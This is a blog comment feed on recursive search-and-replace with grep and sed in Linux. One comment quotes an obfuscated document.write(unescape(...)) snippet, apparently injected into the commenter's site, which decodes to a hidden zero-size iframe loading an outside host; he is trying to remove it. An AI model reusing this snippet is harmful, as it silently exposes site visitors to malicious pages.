<?xml version="1.0" encoding="utf-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
		>
<channel>
	<title>Comments on: Search and Replace in all files within a directory recursively on Linux</title>
	<atom:link href="http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/feed" rel="self" type="application/rss+xml" />
	<link>http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html</link>
	<description>John Jonas on Living The 4-Hour Workweek</description>
	<lastBuildDate>Thu, 18 Mar 2010 00:21:09 +0000</lastBuildDate>
	
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Batch Find and Replace with the Linux Command Line &#171; The Wubbulous World of Jerry Waller</title>
		<link>http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-63247</link>
		<dc:creator>Batch Find and Replace with the Linux Command Line &#171; The Wubbulous World of Jerry Waller</dc:creator>
		<pubDate>Thu, 07 Jan 2010 20:52:07 +0000</pubDate>
		<guid isPermaLink="false">http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-63247</guid>
		<description>[...] tip to the author and commenters here and here.  Now both options are in one convenient location.  ;) Possibly related posts: [...]</description>
		<content:encoded><![CDATA[<p>[...] tip to the author and commenters here and here.  Now both options are in one convenient location.  <img src='http://www.jonasblog.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Possibly related posts: [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Afiyf</title>
		<link>http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-62503</link>
		<dc:creator>Afiyf</dc:creator>
		<pubDate>Sun, 06 Sep 2009 00:05:33 +0000</pubDate>
		<guid isPermaLink="false">http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-62503</guid>
		<description>I used grep to search through multiple files

grep -r &quot;search string1&quot;
 This gives me a very long list of files in multiple directories the need to be changed.

I tried using
grep -rl matchstring somedir/ &#124; xargs sed -i ’s/search string1/search string2/’

somedir = my directory, however No such file or directory was found also no input files are found.

I have 600 occurances of &quot;search string 1&quot; that need to be replaced with &quot;search string 2&quot;.

Do the Double quotes vary beween Linux and Unix?</description>
		<content:encoded><![CDATA[<p>I used grep to search through multiple files</p>
<p>grep -r &#8220;search string1&#8243;<br />
 This gives me a very long list of files in multiple directories the need to be changed.</p>
<p>I tried using<br />
grep -rl matchstring somedir/ | xargs sed -i ’s/search string1/search string2/’</p>
<p>somedir = my directory, however No such file or directory was found also no input files are found.</p>
<p>I have 600 occurances of &#8220;search string 1&#8243; that need to be replaced with &#8220;search string 2&#8243;.</p>
<p>Do the Double quotes vary beween Linux and Unix?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Andrew P.</title>
		<link>http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-62275</link>
		<dc:creator>Andrew P.</dc:creator>
		<pubDate>Fri, 05 Jun 2009 18:59:07 +0000</pubDate>
		<guid isPermaLink="false">http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-62275</guid>
		<description>Nice post, many good comments.  Aside from the mechanics of finding and replacing strings in multiple text files, I wonder where this fashion of using grave accents and acute accents in place of apostrophes and quotation marks started.  Even worse, rather than using Microsoft Word-style &quot;smart quotes&quot;, they fake it by using two grave accents, acute accents or apostrophes together.  I see it mostly in British news sites, and now increasingly in American news sites.  Now it&#039;s creeping into other places as well.  I spend (too much) time editing on Wikipedia, where I frequently copy entire articles into an external editor and use a global search-and-replace to blow away this nuttiness.  It would appear that in recent decades the quality of education in the entire English-speaking world has declined.</description>
		<content:encoded><![CDATA[<p>Nice post, many good comments.  Aside from the mechanics of finding and replacing strings in multiple text files, I wonder where this fashion of using grave accents and acute accents in place of apostrophes and quotation marks started.  Even worse, rather than using Microsoft Word-style &#8220;smart quotes&#8221;, they fake it by using two grave accents, acute accents or apostrophes together.  I see it mostly in British news sites, and now increasingly in American news sites.  Now it&#8217;s creeping into other places as well.  I spend (too much) time editing on Wikipedia, where I frequently copy entire articles into an external editor and use a global search-and-replace to blow away this nuttiness.  It would appear that in recent decades the quality of education in the entire English-speaking world has declined.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Vishwa</title>
		<link>http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-62186</link>
		<dc:creator>Vishwa</dc:creator>
		<pubDate>Fri, 01 May 2009 13:28:17 +0000</pubDate>
		<guid isPermaLink="false">http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-62186</guid>
		<description>Thanks!
This is the command i was looking for.</description>
		<content:encoded><![CDATA[<p>Thanks!<br />
This is the command i was looking for.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: gad</title>
		<link>http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-62113</link>
		<dc:creator>gad</dc:creator>
		<pubDate>Mon, 20 Apr 2009 09:08:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-62113</guid>
		<description>Replace backslash / by pipe &#124; in the sed command, e.g.:

grep -rl matchstring somedir/ &#124; xargs sed -i &#039;s&#124;string1&#124;string2&#124;g&#039;

Working for strings containing backslash, for example: html, javascript, url etc.</description>
		<content:encoded><![CDATA[<p>Replace backslash / by pipe | in the sed command, e.g.:</p>
<p>grep -rl matchstring somedir/ | xargs sed -i &#8217;s|string1|string2|g&#8217;</p>
<p>Working for strings containing backslash, for example: html, javascript, url etc.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Sam</title>
		<link>http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-61756</link>
		<dc:creator>Sam</dc:creator>
		<pubDate>Fri, 13 Mar 2009 04:24:25 +0000</pubDate>
		<guid isPermaLink="false">http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-61756</guid>
		<description>Hrm... I&#039;ve been trying to recursively traverse child directories of the CWD and replace a string of JavaScript with a piece of text in every file in which it appears. 

The string of JavaScript is causing me problems though. &quot;[OPENBRACKET]script type=&quot;text/javascript&quot;[CLOSEBRACKET]document.write(unescape(&#039;%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%72%65%79%63%72%6F%73%73%2E%63%6F%6D%2F%74%6F%6D%69%2F%3F%74%3D%32%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65%3D%22%68%69%64%64%65%6E%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%30%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%3E%3C%2F%69%66%72%61%6D%65%3E&#039;));[OPENBRACKET]/script[CLOSEBRACKET]&quot;

Of course, the [OPEN/CLOSEBRACKET]&#039;s are replacing the actual straight brackets for the purpose of posting here.

I tried a few things, last of which was: 

grep -rl &quot;document.write(unescape(&#039;%3C%69%66%72&quot; ./ &#124; xargs sed -i &quot;s/document\.write\(unescape\(&#039;%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%72%65%79%63%72%6F%73%73%2E%63%6F%6D%2F%74%6F%6D%69%2F%3F%74%3D%32%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65%3D%22%68%69%64%64%65%6E%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%30%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%3E%3C%2F%69%66%72%61%6D%65%3E&#039;\)\);//g&quot;

As you can probably see, I&#039;m still kind of new to regular expressions. Any ideas?

Much thanks!</description>
		<content:encoded><![CDATA[<p>Hrm&#8230; I&#8217;ve been trying to recursively traverse child directories of the CWD and replace a string of JavaScript with a piece of text in every file in which it appears. </p>
<p>The string of JavaScript is causing me problems though. &#8220;[OPENBRACKET]script type=&#8221;text/javascript&#8221;[CLOSEBRACKET]document.write(unescape(&#8216;%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%72%65%79%63%72%6F%73%73%2E%63%6F%6D%2F%74%6F%6D%69%2F%3F%74%3D%32%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65%3D%22%68%69%64%64%65%6E%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%30%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%3E%3C%2F%69%66%72%61%6D%65%3E&#8217;));[OPENBRACKET]/script[CLOSEBRACKET]&#8221;</p>
<p>Of course, the [OPEN/CLOSEBRACKET]&#8217;s are replacing the actual straight brackets for the purpose of posting here.</p>
<p>I tried a few things, last of which was: </p>
<p>grep -rl &#8220;document.write(unescape(&#8216;%3C%69%66%72&#8243; ./ | xargs sed -i &#8220;s/document\.write\(unescape\(&#8216;%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%72%65%79%63%72%6F%73%73%2E%63%6F%6D%2F%74%6F%6D%69%2F%3F%74%3D%32%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65%3D%22%68%69%64%64%65%6E%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%30%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%3E%3C%2F%69%66%72%61%6D%65%3E&#8217;\)\);//g&#8221;</p>
<p>As you can probably see, I&#8217;m still kind of new to regular expressions. Any ideas?</p>
<p>Much thanks!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: JIA pei</title>
		<link>http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-61700</link>
		<dc:creator>JIA pei</dc:creator>
		<pubDate>Mon, 02 Mar 2009 21:42:06 +0000</pubDate>
		<guid isPermaLink="false">http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-61700</guid>
		<description>Always met the following problem, and the old strings are not changed to the new ones at all.

sed: -e expression #1, char 1: unknown command: `�&#039;</description>
		<content:encoded><![CDATA[<p>Always met the following problem, and the old strings are not changed to the new ones at all.</p>
<p>sed: -e expression #1, char 1: unknown command: `�&#8217;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Useful find Commands &#124; unsharpTech</title>
		<link>http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-54172</link>
		<dc:creator>Useful find Commands &#124; unsharpTech</dc:creator>
		<pubDate>Sat, 16 Aug 2008 13:34:58 +0000</pubDate>
		<guid isPermaLink="false">http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-54172</guid>
		<description>[...] Source: http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html [...]</description>
		<content:encoded><![CDATA[<p>[...] Source: <a href="http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html" rel="nofollow">http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html</a> [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: PST</title>
		<link>http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-31424</link>
		<dc:creator>PST</dc:creator>
		<pubDate>Fri, 07 Dec 2007 02:33:01 +0000</pubDate>
		<guid isPermaLink="false">http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-31424</guid>
		<description>Excellent help....</description>
		<content:encoded><![CDATA[<p>Excellent help&#8230;.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Marc A. Brown</title>
		<link>http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html/comment-page-1#comment-4913</link>
		<dc:creator>Marc A. Brown</dc:creator>
		<pubDate>Wed, 27 Sep 2006 12:02:01 +0000</pubDate>
		<guid isPermaLink="false">http://www.jonasblog.com/2006/05/search-and-replace-in-all-files-within-a-directory-recursively.html#comment-4913</guid>
		<description>It&#039;s much more simpler to use the &#039;rpl&#039; command, as shown below:

   rpl -x&#039;.cpp&#039; -x&#039;.h&#039; -pR &quot;old-string&quot; &quot;new-string&quot; *

Here, all files with a .cpp or .h suffix wil be searched for
an &quot;old-string&quot;. If found the &quot;old-string&quot; is replaced by the
&quot;new-string&quot; in all directories recursively.
To install on Ubuntu or Debian just do &#039;apt-get install rpl&#039;.

KR</description>
		<content:encoded><![CDATA[<p>It&#8217;s much more simpler to use the &#8216;rpl&#8217; command, as shown below:</p>
<p>   rpl -x&#8217;.cpp&#8217; -x&#8217;.h&#8217; -pR &#8220;old-string&#8221; &#8220;new-string&#8221; *</p>
<p>Here, all files with a .cpp or .h suffix wil be searched for<br />
an &#8220;old-string&#8221;. If found the &#8220;old-string&#8221; is replaced by the<br />
&#8220;new-string&#8221; in all directories recursively.<br />
To install on Ubuntu or Debian just do &#8216;apt-get install rpl&#8217;.</p>
<p>KR</p>
]]></content:encoded>
	</item>
</channel>
</rss>
